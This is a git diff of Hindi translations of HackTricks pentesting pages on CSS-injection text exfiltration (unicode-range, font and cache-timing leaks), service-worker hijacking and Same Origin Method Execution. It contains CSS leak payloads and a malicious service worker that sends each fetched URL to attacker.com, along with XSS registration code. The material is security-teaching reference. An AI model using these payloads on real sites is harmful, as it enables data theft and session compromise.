इस संक्रमण के दौरान, **unicode-range trick** का उपयोग प्रत्येक नए चरित्र की पहचान करने के लिए किया जाता है जब यह प्रिफिक्स में शामिल होता है। यह कॉमिक सैंस फ़ॉन्ट को स्विच करके प्राप्त किया जाता है, जो डिफ़ॉल्ट फ़ॉन्ट की तुलना में उल्लेखनीय रूप से ऊँचा होता है, जिससे एक ऊर्ध्वाधर स्क्रॉलबार सक्रिय होता है। इस स्क्रॉलबार की उपस्थिति अप्रत्यक्ष रूप से प्रिफिक्स में एक नए चरित्र की उपस्थिति को प्रकट करती है।
|
||||
इस संक्रमण के दौरान, **unicode-range ट्रिक** का उपयोग प्रत्येक नए वर्ण की पहचान करने के लिए किया जाता है जब वह प्रिफिक्स में शामिल होता है। यह Comic Sans फ़ॉन्ट को स्विच करके प्राप्त किया जाता है, जो डिफ़ॉल्ट फ़ॉन्ट की तुलना में उल्लेखनीय रूप से ऊँचा होता है, जिससे एक ऊर्ध्वाधर स्क्रॉलबार सक्रिय होता है। इस स्क्रॉलबार की उपस्थिति अप्रत्यक्ष रूप से प्रिफिक्स में एक नए वर्ण की उपस्थिति को प्रकट करती है।
|
||||
|
||||
हालांकि यह विधि अद्वितीय चरित्रों का पता लगाने की अनुमति देती है जब वे प्रकट होते हैं, यह यह निर्दिष्ट नहीं करती है कि कौन सा चरित्र दोहराया गया है, केवल यह कि एक पुनरावृत्ति हुई है।
|
||||
हालांकि यह विधि अद्वितीय वर्णों का पता लगाने की अनुमति देती है जब वे प्रकट होते हैं, यह यह निर्दिष्ट नहीं करती है कि कौन सा वर्ण दोहराया गया है, केवल यह कि एक पुनरावृत्ति हुई है।
|
||||
|
||||
{% hint style="info" %}
|
||||
बुनियादी रूप से, **unicode-range का उपयोग एक char का पता लगाने के लिए किया जाता है**, लेकिन चूंकि हम एक बाहरी फ़ॉन्ट लोड नहीं करना चाहते, हमें एक और तरीका खोजना होगा।\
|
||||
जब **char** **पाया** जाता है, तो इसे पूर्व-स्थापित **Comic Sans फ़ॉन्ट** दिया जाता है, जो **char** को **बड़ा** बनाता है और **स्क्रॉल बार को सक्रिय करता है** जो **पाए गए char को लीक करेगा**।
|
||||
बुनियादी रूप से, **unicode-range का उपयोग एक वर्ण का पता लगाने के लिए किया जाता है**, लेकिन चूंकि हम एक बाहरी फ़ॉन्ट लोड नहीं करना चाहते, हमें एक और तरीका खोजना होगा।\
|
||||
जब **वर्ण** **पाया** जाता है, तो इसे पूर्व-स्थापित **Comic Sans फ़ॉन्ट** दिया जाता है, जो **वर्ण को बड़ा** बनाता है और **स्क्रॉल बार को सक्रिय** करता है जो **पाए गए वर्ण को लीक** करेगा।
|
||||
{% endhint %}
|
||||
|
||||
Check the code extracted from the PoC:
|
||||
PoC से निकाला गया कोड देखें:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
|
||||
|
@ -418,7 +411,7 @@ background: blue var(--leak);
|
|||
|
||||
यह मामला पिछले मामले के बहुत समान है, हालाँकि, इस मामले में विशेष **chars को अन्य की तुलना में बड़ा बनाना कुछ छिपाने के लिए है** जैसे कि बटन जिसे बॉट द्वारा दबाया नहीं जाना चाहिए या एक छवि जो लोड नहीं होगी। इसलिए हम क्रिया (या क्रिया की कमी) को माप सकते हैं और जान सकते हैं कि क्या पाठ के अंदर एक विशेष char मौजूद है।
|
||||
|
||||
### Text node exfiltration (III): cache timing द्वारा charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): cache timing द्वारा charset को लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** इसे [इस लेख में एक असफल समाधान के रूप में उल्लेखित किया गया है](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
|
@ -430,15 +423,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
यदि मेल होता है, तो **फॉन्ट `/static/bootstrap.min.css?q=1` से लोड होगा**। हालांकि यह सफलतापूर्वक लोड नहीं होगा, **ब्राउज़र इसे कैश करेगा**, और यदि कैश नहीं है, तो **304 नॉट मॉडिफाइड** तंत्र है, इसलिए **प्रतिक्रिया अन्य चीजों की तुलना में तेज होनी चाहिए**।
|
||||
यदि मेल होता है, तो **फॉन्ट `/static/bootstrap.min.css?q=1` से लोड होगा**। हालांकि यह सफलतापूर्वक लोड नहीं होगा, **ब्राउज़र इसे कैश करेगा**, और यदि कैश नहीं है, तो **304 नॉट मॉडिफाइड** तंत्र है, इसलिए **प्रतिक्रिया अन्य चीजों की तुलना में तेज़ होनी चाहिए**।
|
||||
|
||||
हालांकि, यदि कैश की गई प्रतिक्रिया और गैर-कैश की गई प्रतिक्रिया के बीच का समय अंतर पर्याप्त बड़ा नहीं है, तो यह उपयोगी नहीं होगा। उदाहरण के लिए, लेखक ने उल्लेख किया: हालांकि, परीक्षण के बाद, मैंने पाया कि पहली समस्या यह है कि गति में ज्यादा अंतर नहीं है, और दूसरी समस्या यह है कि बॉट `disk-cache-size=1` ध्वज का उपयोग करता है, जो वास्तव में विचारशील है।
|
||||
|
||||
### टेक्स्ट नोड एक्सफिल्ट्रेशन (III): समय के द्वारा सैकड़ों स्थानीय "फॉन्ट" (बाहरी संपत्तियों की आवश्यकता नहीं) लोड करके charset लीक करना <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### टेक्स्ट नोड एक्सफिल्ट्रेशन (III): स्थानीय "फॉन्ट" के सैकड़ों को लोड करने के समय द्वारा charset लीक करना (बाहरी संपत्तियों की आवश्यकता नहीं) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**संदर्भ:** इसे [इस लेख में एक असफल समाधान के रूप में उल्लेखित किया गया है](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**संदर्भ:** इसे [इस लेख में एक असफल समाधान के रूप में उल्लेख किया गया है](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
इस मामले में आप संकेत दे सकते हैं **CSS से सैकड़ों नकली फॉन्ट लोड करने के लिए** जब मेल होता है। इस तरह आप **समय माप सकते हैं** जो लगता है और पता लगा सकते हैं कि कोई वर्ण प्रकट होता है या नहीं कुछ इस तरह:
|
||||
इस मामले में आप संकेत दे सकते हैं **CSS को एक ही मूल से सैकड़ों नकली फॉन्ट लोड करने के लिए** जब मेल होता है। इस तरह आप **समय माप सकते हैं** जो लगता है और पता लगा सकते हैं कि कोई वर्ण प्रकट होता है या नहीं कुछ इस तरह:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -455,7 +448,7 @@ browser.get(url)
|
|||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
तो, यदि फ़ॉन्ट मेल नहीं खाता है, तो बॉट पर जाने पर प्रतिक्रिया समय लगभग 30 सेकंड होने की उम्मीद है। हालाँकि, यदि फ़ॉन्ट मेल खाता है, तो फ़ॉन्ट प्राप्त करने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क में निरंतर गतिविधि होगी। परिणामस्वरूप, रोकने की स्थिति को संतुष्ट करने और प्रतिक्रिया प्राप्त करने में अधिक समय लगेगा। इसलिए, प्रतिक्रिया समय का उपयोग यह निर्धारित करने के लिए एक संकेतक के रूप में किया जा सकता है कि क्या फ़ॉन्ट मेल खाता है।
|
||||
तो, यदि फ़ॉन्ट मेल नहीं खाता है, तो बॉट पर जाने पर प्रतिक्रिया समय लगभग 30 सेकंड होने की उम्मीद है। हालाँकि, यदि फ़ॉन्ट मेल खाता है, तो फ़ॉन्ट प्राप्त करने के लिए कई अनुरोध भेजे जाएंगे, जिससे नेटवर्क में निरंतर गतिविधि होगी। परिणामस्वरूप, रोकने की स्थिति को संतुष्ट करने और प्रतिक्रिया प्राप्त करने में अधिक समय लगेगा। इसलिए, प्रतिक्रिया समय का उपयोग यह निर्धारित करने के लिए एक संकेतक के रूप में किया जा सकता है कि क्या फ़ॉन्ट मेल खाता है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -464,23 +457,17 @@ time.sleep(30)
|
|||
* [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
* [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
|
||||
**ट्राई हार्ड सुरक्षा समूह**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फ़ॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,41 +17,33 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Basic Information
|
||||
|
||||
एक **सर्विस वर्कर** एक स्क्रिप्ट है जो आपके ब्राउज़र द्वारा बैकग्राउंड में चलती है, किसी भी वेब पृष्ठ से अलग, ऐसी सुविधाओं को सक्षम करती है जिन्हें वेब पृष्ठ या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होती है, इस प्रकार **ऑफलाइन और बैकग्राउंड प्रोसेसिंग** क्षमताओं को बढ़ाती है। सर्विस वर्कर्स पर विस्तृत जानकारी [यहां](https://developers.google.com/web/fundamentals/primers/service-workers) मिल सकती है। एक कमजोर वेब डोमेन के भीतर सर्विस वर्कर्स का शोषण करके, हमलावर पीड़ित के सभी पृष्ठों के साथ इंटरैक्शन पर नियंत्रण प्राप्त कर सकते हैं।
|
||||
एक **सर्विस वर्कर** एक स्क्रिप्ट है जो आपके ब्राउज़र द्वारा बैकग्राउंड में चलती है, किसी भी वेब पृष्ठ से अलग, ऐसी सुविधाओं को सक्षम करती है जिन्हें वेब पृष्ठ या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं होती, इस प्रकार **ऑफलाइन और बैकग्राउंड प्रोसेसिंग** क्षमताओं को बढ़ाती है। सर्विस वर्कर्स पर विस्तृत जानकारी [यहां](https://developers.google.com/web/fundamentals/primers/service-workers) मिल सकती है। एक कमजोर वेब डोमेन के भीतर सर्विस वर्कर्स का शोषण करके, हमलावर पीड़ित के सभी पृष्ठों के साथ इंटरैक्शन पर नियंत्रण प्राप्त कर सकते हैं।
|
||||
|
||||
### Checking for Existing Service Workers
|
||||
|
||||
मौजूदा सर्विस वर्कर्स को **डेवलपर टूल्स** के **एप्लिकेशन** टैब में **सर्विस वर्कर्स** अनुभाग में चेक किया जा सकता है। एक और तरीका है [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) पर जाकर अधिक विस्तृत दृश्य प्राप्त करना।
|
||||
मौजूदा सर्विस वर्कर्स को **डेवलपर टूल्स** में **एप्लिकेशन** टैब के **सर्विस वर्कर्स** सेक्शन में चेक किया जा सकता है। एक और तरीका है [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) पर जाकर अधिक विस्तृत दृश्य प्राप्त करना।
|
||||
|
||||
### Push Notifications
|
||||
|
||||
**पुश नोटिफिकेशन अनुमतियाँ** सीधे एक **सर्विस वर्कर** की सर्वर के साथ संवाद करने की क्षमता को प्रभावित करती हैं बिना सीधे उपयोगकर्ता इंटरैक्शन के। यदि अनुमतियाँ अस्वीकृत हैं, तो यह सर्विस वर्कर की निरंतर खतरे के रूप में संभावनाओं को सीमित करता है। इसके विपरीत, अनुमतियाँ देने से सुरक्षा जोखिम बढ़ जाते हैं क्योंकि यह संभावित शोषण के रिसेप्शन और निष्पादन को सक्षम करता है।
|
||||
**पुश नोटिफिकेशन अनुमतियाँ** सीधे एक **सर्विस वर्कर** की सर्वर के साथ संवाद करने की क्षमता को प्रभावित करती हैं बिना सीधे उपयोगकर्ता इंटरैक्शन के। यदि अनुमतियाँ अस्वीकृत की जाती हैं, तो यह सर्विस वर्कर की निरंतर खतरे के रूप में संभावनाओं को सीमित करता है। इसके विपरीत, अनुमतियाँ देने से सुरक्षा जोखिम बढ़ जाते हैं क्योंकि यह संभावित शोषण के रिसेप्शन और निष्पादन को सक्षम करता है।
|
||||
|
||||
## Attack Creating a Service Worker
|
||||
|
||||
इस कमजोरी का शोषण करने के लिए आपको निम्नलिखित खोजने की आवश्यकता है:
|
||||
|
||||
* सर्वर पर **मनमाने JS** फ़ाइलों को **अपलोड** करने का एक तरीका और **सर्विस वर्कर को लोड करने के लिए एक XSS** जो अपलोड की गई JS फ़ाइल का हो
|
||||
* सर्वर पर **मनमाने JS** फ़ाइलों को **अपलोड** करने का एक तरीका और अपलोड की गई JS फ़ाइल के **सर्विस वर्कर को लोड करने के लिए एक XSS**
|
||||
* एक **कमजोर JSONP अनुरोध** जहां आप **आउटपुट (मनमाने JS कोड के साथ)** को **हेरफेर** कर सकते हैं और एक **XSS** जो **पेलोड के साथ JSONP को लोड करेगा** जो **एक दुर्भावनापूर्ण सर्विस वर्कर** को **लोड करेगा**।
|
||||
|
||||
निम्नलिखित उदाहरण में मैं एक कोड प्रस्तुत करने जा रहा हूँ जो **एक नया सर्विस वर्कर रजिस्टर करेगा** जो `fetch` इवेंट को सुनेगा और **हमलावर के सर्वर को प्रत्येक फेच की गई URL भेजेगा** (यह वह कोड है जिसे आपको **सर्वर** पर **अपलोड** करने की आवश्यकता होगी या एक **कमजोर JSONP** प्रतिक्रिया के माध्यम से लोड करना होगा):
|
||||
अगले उदाहरण में मैं एक कोड प्रस्तुत करने जा रहा हूँ जो **एक नया सर्विस वर्कर रजिस्टर** करेगा जो `fetch` इवेंट को सुनेगा और **प्रत्येक फेच की गई URL को हमलावर के सर्वर पर भेजेगा** (यह वह कोड है जिसे आपको **सर्वर** पर **अपलोड** करने की आवश्यकता होगी या एक **कमजोर JSONP** प्रतिक्रिया के माध्यम से लोड करने की आवश्यकता होगी):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||
});
|
||||
```
|
||||
और यह वह कोड है जो **कार्यकर्ता को पंजीकृत** करेगा (यह कोड जिसे आपको **XSS** का दुरुपयोग करते हुए निष्पादित करने में सक्षम होना चाहिए)। इस मामले में एक **GET** अनुरोध **हमलावरों** के सर्वर पर भेजा जाएगा **सूचित** करने के लिए कि सेवा कार्यकर्ता का **पंजीकरण** सफल था या नहीं:
|
||||
और यह वह कोड है जो **कार्यकर्ता को पंजीकृत** करेगा (यह कोड आपको **XSS** का दुरुपयोग करते हुए निष्पादित करने में सक्षम होना चाहिए)। इस मामले में एक **GET** अनुरोध **हमलावरों** के सर्वर पर भेजा जाएगा **सूचित** करने के लिए कि सेवा कार्यकर्ता का **पंजीकरण** सफल था या नहीं:
|
||||
```javascript
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
|
@ -81,7 +73,7 @@ The **24-hour cache directive** limits the life of a malicious or compromised **
|
|||
|
||||
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
|
||||
|
||||
**This even bypasses CSP protections.**
|
||||
**यह CSP सुरक्षा को भी बायपास करता है।**
|
||||
|
||||
**Example vulnerable code:**
|
||||
|
||||
|
@ -101,13 +93,13 @@ self.importScripts(host + "/sw_extra.js");
|
|||
```
|
||||
### DOM क्लॉबरिंग के साथ
|
||||
|
||||
DOM क्लॉबरिंग क्या है इसके बारे में अधिक जानकारी के लिए देखें:
|
||||
DOM क्लॉबरिंग क्या है, इसके बारे में अधिक जानकारी के लिए देखें:
|
||||
|
||||
{% content-ref url="dom-clobbering.md" %}
|
||||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
यदि URL/डोमेन जहां SW **`importScripts`** को कॉल करने के लिए उपयोग कर रहा है, **एक HTML तत्व के अंदर** है, तो इसे **DOM क्लॉबरिंग के माध्यम से संशोधित करना संभव है** ताकि SW **आपके अपने डोमेन से एक स्क्रिप्ट लोड कर सके**।
|
||||
यदि URL/डोमेन जहां SW **`importScripts`** को कॉल करने के लिए उपयोग कर रहा है, **एक HTML तत्व के अंदर** है, तो इसे **DOM क्लॉबरिंग के माध्यम से संशोधित करना संभव है** ताकि SW **आपके अपने डोमेन से एक स्क्रिप्ट लोड करे**।
|
||||
|
||||
इसका उदाहरण देखने के लिए संदर्भ लिंक देखें।
|
||||
|
||||
|
@ -115,23 +107,17 @@ DOM क्लॉबरिंग क्या है इसके बारे
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**ट्राई हार्ड सिक्योरिटी ग्रुप**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,41 +15,27 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो यह जांचने के लिए **फ्री** कार्यक्षमताएँ प्रदान करता है कि क्या कोई कंपनी या उसके ग्राहक **संपर्कित** हुए हैं **चोरी करने वाले मालवेयर** द्वारा।
|
||||
|
||||
WhiteIntel का प्राथमिक लक्ष्य खाता अधिग्रहण और रैंसमवेयर हमलों से लड़ना है जो जानकारी चुराने वाले मालवेयर के परिणामस्वरूप होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **फ्री** में आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Same Origin Method Execution
|
||||
|
||||
ऐसे अवसर होंगे जब आप एक पृष्ठ में कुछ सीमित जावास्क्रिप्ट निष्पादित कर सकते हैं। उदाहरण के लिए, उस मामले में जब आप[ **एक कॉलबैक मान को नियंत्रित कर सकते हैं जो निष्पादित होगा**](./#javascript-function)।
|
||||
ऐसे अवसर होंगे जहाँ आप एक पृष्ठ में कुछ सीमित जावास्क्रिप्ट निष्पादित कर सकते हैं। उदाहरण के लिए, उस मामले में जहाँ आप[ **एक कॉलबैक मान को नियंत्रित कर सकते हैं जो निष्पादित होगा**](./#javascript-function)।
|
||||
|
||||
उन मामलों में, आप जो सबसे अच्छा कर सकते हैं वह है **DOM तक पहुंच प्राप्त करना ताकि आप वहां जो भी संवेदनशील क्रिया कर सकते हैं उसे कॉल कर सकें** (जैसे एक बटन पर क्लिक करना)। हालाँकि, आमतौर पर आप इस भेद्यता को **छोटे एंडपॉइंट्स में पाएंगे जिनमें DOM में कोई दिलचस्प चीज नहीं होती**।
|
||||
ऐसे मामलों में, आप जो सबसे अच्छा कर सकते हैं वह है **DOM तक पहुँच प्राप्त करना ताकि आप वहाँ जो भी संवेदनशील क्रिया पा सकें उसे कॉल कर सकें** (जैसे एक बटन पर क्लिक करना)। हालाँकि, आमतौर पर आप इस भेद्यता को **छोटे एंडपॉइंट्स में पाएंगे जिनमें DOM में कोई दिलचस्प चीज नहीं है**।
|
||||
|
||||
उन परिदृश्यों में, यह हमला बहुत उपयोगी होगा, क्योंकि इसका लक्ष्य यह है कि आप **एक ही डोमेन के एक अलग पृष्ठ के अंदर सीमित JS निष्पादन का दुरुपयोग कर सकें** जिसमें बहुत सारी दिलचस्प क्रियाएँ हैं।
|
||||
ऐसे परिदृश्यों में, यह हमला बहुत उपयोगी होगा, क्योंकि इसका लक्ष्य यह है कि आप **एक ही डोमेन के विभिन्न पृष्ठ से DOM के अंदर सीमित JS निष्पादन का दुरुपयोग कर सकें** जिसमें बहुत सारी दिलचस्प क्रियाएँ हैं।
|
||||
|
||||
बुनियादी रूप से, हमले का प्रवाह निम्नलिखित है:
|
||||
|
||||
* एक **कॉलबैक खोजें जिसे आप दुरुपयोग कर सकते हैं** (संभवतः \[\w\\.\_] तक सीमित)।
|
||||
* एक **कॉलबैक खोजें जिसे आप दुरुपयोग कर सकते हैं** (संभावित रूप से \[\w\\.\_] तक सीमित)।
|
||||
* यदि यह सीमित नहीं है और आप कोई भी JS निष्पादित कर सकते हैं, तो आप इसे सामान्य XSS के रूप में दुरुपयोग कर सकते हैं।
|
||||
* **शिकार को एक पृष्ठ खोलने के लिए मजबूर करें** जो **हमलावर द्वारा नियंत्रित है**।
|
||||
* **पृष्ठ स्वयं** एक **अलग विंडो** में खुलेगा (नई विंडो में **`opener`** ऑब्जेक्ट होगा जो प्रारंभिक एक को संदर्भित करता है)।
|
||||
* **प्रारंभिक पृष्ठ** उस **पृष्ठ को लोड करेगा** जहां **दिलचस्प DOM** स्थित है।
|
||||
* **दूसरा पृष्ठ** **कॉलबैक का दुरुपयोग करते हुए** **कमजोर पृष्ठ** को लोड करेगा और **`opener`** ऑब्जेक्ट का उपयोग करके **प्रारंभिक पृष्ठ में कुछ क्रिया तक पहुंच प्राप्त करेगा** (जो अब दिलचस्प DOM को शामिल करता है)।
|
||||
* **पृष्ठ स्वयं** एक **विभिन्न विंडो** में खुलेगा (नई विंडो में **`opener`** ऑब्जेक्ट प्रारंभिक एक को संदर्भित करेगा)।
|
||||
* **प्रारंभिक पृष्ठ** उस **पृष्ठ को लोड करेगा** जहाँ **दिलचस्प DOM** स्थित है।
|
||||
* **दूसरा पृष्ठ** **कॉलबैक का दुरुपयोग करते हुए** **कमजोर पृष्ठ** को लोड करेगा और **`opener`** ऑब्जेक्ट का उपयोग करके **प्रारंभिक पृष्ठ में कुछ क्रिया तक पहुँच और निष्पादित करेगा** (जो अब दिलचस्प DOM को शामिल करता है)।
|
||||
|
||||
{% hint style="danger" %}
|
||||
ध्यान दें कि भले ही प्रारंभिक पृष्ठ दूसरे पृष्ठ बनाने के बाद एक नए URL तक पहुंचता है, **दूसरे पृष्ठ का `opener` ऑब्जेक्ट नए DOM में पहले पृष्ठ के लिए अभी भी एक मान्य संदर्भ है**।
|
||||
ध्यान दें कि भले ही प्रारंभिक पृष्ठ दूसरे पृष्ठ बनाने के बाद एक नए URL तक पहुँचता है, **दूसरे पृष्ठ का `opener` ऑब्जेक्ट नए DOM में पहले पृष्ठ के लिए अभी भी एक मान्य संदर्भ है**।
|
||||
|
||||
इसके अलावा, दूसरे पृष्ठ के लिए ओपनर ऑब्जेक्ट का उपयोग करने के लिए **दोनों पृष्ठों को एक ही मूल में होना चाहिए**। यही कारण है कि, इस भेद्यता का दुरुपयोग करने के लिए, आपको कुछ प्रकार का **XSS एक ही मूल में** खोजने की आवश्यकता है।
|
||||
इसके अलावा, दूसरे पृष्ठ के लिए ओपनर ऑब्जेक्ट का उपयोग करने के लिए **दोनों पृष्ठों का एक ही मूल में होना आवश्यक है**। यही कारण है कि, इस भेद्यता का दुरुपयोग करने के लिए, आपको कुछ प्रकार का **XSS एक ही मूल में** खोजने की आवश्यकता है।
|
||||
{% endhint %}
|
||||
|
||||
### Exploitation
|
||||
|
@ -59,8 +45,8 @@ WhiteIntel का प्राथमिक लक्ष्य खाता अ
|
|||
|
||||
### Example
|
||||
|
||||
* आप एक कमजोर उदाहरण [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) में पा सकते हैं।
|
||||
